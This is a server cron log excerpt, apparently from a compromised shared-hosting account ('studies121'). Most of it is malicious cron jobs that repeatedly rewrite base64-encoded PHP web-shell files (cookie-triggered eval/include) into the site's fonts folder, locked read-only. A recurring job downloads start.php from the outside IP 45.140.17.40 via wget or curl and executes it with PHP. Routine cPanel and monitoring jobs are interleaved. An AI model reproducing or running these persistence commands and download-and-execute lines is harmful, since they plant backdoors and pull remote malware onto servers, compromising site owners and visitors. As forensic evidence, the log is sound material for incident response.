Sep 21 02:51:01 ip-184-168-122-23 CROND[18202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:51:01 ip-184-168-122-23 CROND[18200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:51:01 ip-184-168-122-23 CROND[18203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:52:01 ip-184-168-122-23 CROND[18336]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:52:01 ip-184-168-122-23 CROND[18337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:52:01 ip-184-168-122-23 CROND[18340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:52:01 ip-184-168-122-23 CROND[18342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:52:01 ip-184-168-122-23 CROND[18341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:53:01 ip-184-168-122-23 CROND[18454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:53:01 ip-184-168-122-23 CROND[18455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:53:01 ip-184-168-122-23 CROND[18457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:53:01 ip-184-168-122-23 CROND[18458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:54:01 ip-184-168-122-23 CROND[18560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:54:01 ip-184-168-122-23 CROND[18564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:54:01 ip-184-168-122-23 CROND[18562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:54:01 ip-184-168-122-23 CROND[18565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:54:01 ip-184-168-122-23 CROND[18563]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:55:01 ip-184-168-122-23 CROND[18750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:55:01 ip-184-168-122-23 CROND[18753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:55:01 ip-184-168-122-23 CROND[18752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:55:01 ip-184-168-122-23 CROND[18754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 02:55:01 ip-184-168-122-23 CROND[18755]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 02:55:01 ip-184-168-122-23 CROND[18756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:56:01 ip-184-168-122-23 CROND[18858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:56:01 ip-184-168-122-23 CROND[18861]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:56:01 ip-184-168-122-23 CROND[18862]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:56:01 ip-184-168-122-23 CROND[18860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:56:01 ip-184-168-122-23 CROND[18863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:57:01 ip-184-168-122-23 CROND[18964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:57:01 ip-184-168-122-23 CROND[18966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:57:01 ip-184-168-122-23 CROND[18967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:57:01 ip-184-168-122-23 CROND[18965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:58:01 ip-184-168-122-23 CROND[19072]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:58:01 ip-184-168-122-23 CROND[19074]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:58:01 ip-184-168-122-23 CROND[19075]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:58:01 ip-184-168-122-23 CROND[19077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:58:01 ip-184-168-122-23 CROND[19078]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:59:01 ip-184-168-122-23 CROND[19191]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:59:01 ip-184-168-122-23 CROND[19193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:59:01 ip-184-168-122-23 CROND[19194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:59:01 ip-184-168-122-23 CROND[19195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:00:01 ip-184-168-122-23 CROND[19346]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 03:00:01 ip-184-168-122-23 CROND[19345]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 03:00:01 ip-184-168-122-23 CROND[19351]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:00:01 ip-184-168-122-23 CROND[19350]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:00:01 ip-184-168-122-23 CROND[19352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:00:01 ip-184-168-122-23 CROND[19356]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 03:00:01 ip-184-168-122-23 CROND[19357]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:00:01 ip-184-168-122-23 CROND[19358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:01:01 ip-184-168-122-23 CROND[19511]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 03:01:01 ip-184-168-122-23 CROND[19512]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 03:01:01 ip-184-168-122-23 CROND[19515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:01:01 ip-184-168-122-23 CROND[19517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:01:01 ip-184-168-122-23 CROND[19519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:01:01 ip-184-168-122-23 CROND[19518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19511]: starting 0anacron
Sep 21 03:01:01 ip-184-168-122-23 anacron[19533]: Anacron started on 2026-09-21
Sep 21 03:01:01 ip-184-168-122-23 anacron[19533]: Will run job `cron.daily' in 28 min.
Sep 21 03:01:01 ip-184-168-122-23 anacron[19533]: Jobs will be executed sequentially
Sep 21 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[19535]: finished 0anacron
Sep 21 03:02:01 ip-184-168-122-23 CROND[19637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 03:02:01 ip-184-168-122-23 CROND[19642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 03:02:01 ip-184-168-122-23 CROND[19640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 03:02:01 ip-184-168-122-23 CROND[19639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 03:02:01 ip-184-168-122-23 CROND[19641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 03:03:01 ip-184-168-122-23 CROND[19743]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
